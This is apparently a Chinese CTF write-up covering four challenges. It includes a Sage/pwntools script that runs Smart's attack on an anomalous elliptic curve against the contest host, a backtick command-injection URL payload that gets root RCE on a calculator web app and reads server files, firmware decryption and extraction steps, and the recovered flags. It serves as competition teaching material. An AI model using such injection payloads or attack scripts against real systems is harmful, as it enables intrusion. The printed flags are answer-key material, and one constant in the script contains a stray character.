第二届“vec杯”网络安全挑战赛

Crypto

fast_attack

> basectf的精神延续
> 出题人:sudopacman
> 附件:https://wwtk.lanzoum.com/i44iq2dppize
> 远程环境:139.155.139.109:10000

使用给定 E，发现有 $E.order() = p$，使用Smart Attack。

```
# Sage
from pwn import *

def SmartAttack(P,Q,p):
    E = P.curve()
    Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in
E.a_invariants() ])

    P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
    for P_Qp in P_Qps:
        if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
            break

    Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
    for Q_Qp in Q_Qps:
        if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
            break

    p_times_P = p*P_Qp
    p_times_Q = p*Q_Qp

    x_P,y_P = p_times_P.xy()
    x_Q,y_Q = p_times_Q.xy()

    phi_P = -(x_P/y_P)
    phi_Q = -(x_Q/y_Q)
    k = phi_Q/phi_P
    return ZZ(k)

a = 0
b = -30452869158162289281936496832280468964813l6
p = 235322474717419
P = GF(p)
C = EllipticCurve(P, [a, b])

r=remote('139.155.139.109',10000)

for i in range(10):
    pp = r.recvline().strip().strip(b'(').strip(b')').split(b' : ')
```

```
    print(pp)
    px = int(pp[0])
    py = int(pp[1])
    qq = r.recvline().strip().strip(b'(').strip(b')').split(b' : ')
    print(qq)
    qx = int(qq[0])
    qy = int(qq[1])
    P = C(px,py)
    Q = C(qx,qy)
    rr = SmartAttack(P, Q, p)
    print(rr)
    print(Q==rr*P)
    r.sendlineafter(b'>',str(rr).encode())

r.interactive()

# vyctf{adwa_is_the_best_crypto_player}
```

Web

简易计算器

> 我们发现vlang的轮子还是有点太少了
> 出题人:sudopacman
> 附件:https://wwtk.lanzoum.com/ifsqx2dugtwd
> 远程环境:139.155.139.109:10005

访问发现三种运算的路由 `/add, /sub, /mul`，尝试发现存在RCE漏洞，用反引号可执行命令。

测试发现直接是root权限，想干啥都行，使用cd命令切换到web目录下：

```
http://139.155.139.109:10005/sub/`cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd home;cd web1;cat main`
```

下载 main 程序，搜索 `vyctf` 字符串，得到flag：`vyctf{66895b7d-3169-478d-b7ef-fd0530a46fba}`。

IOT

来，让我看看!

> Nop偷偷给0x1发了些好康的,但0x1怎么都点不开,你能帮帮他吗
> 出题人:Nop
> 附件:https://wwtk.lanzoum.com/iVy3Z2dptzhc

wireshark流量分析发现是MTQQ流量，从中提取关键信息：

```
CanYouHearMe?
LetMeTellYouASecret
文件1（命名为222）
UseThisToDecrypt
文件2-elf（命名为111）
Finally,PasswordIs:ProtoWare
```

对文件2反编译分析，发现是encimg，使用qemu模拟，回显：

```
no signature specified!
Usage: encimg {OPTIONS}
   -h                      : show this message.
   -v                      : Verbose mode.
   -i {input image file}   : input image file.
   -o {output image file}  : output image file.
   -e                      : encode file.
   -d                      : decode file.
   -s                      : signature.
```

可知是使用111对222进行解密，密码为 `ProtoWare`。

把给定的libc复制到 `/libc` 下，运行：

`./111 -d -i 222 -s ProtoWare`

得到解密的222，再binwalk分解squashfs固件：
`binwalk -eM 222`

在squashfs-root下找到flag：`VYCTF{教练我想学挨殴踢}`。

Misc

签退表

> 地址:forms.office.com/r/LCPrr8dNAp

填问卷，得flag：`VYCTF{Celebrate_the_end_of_VYCTF!!!}`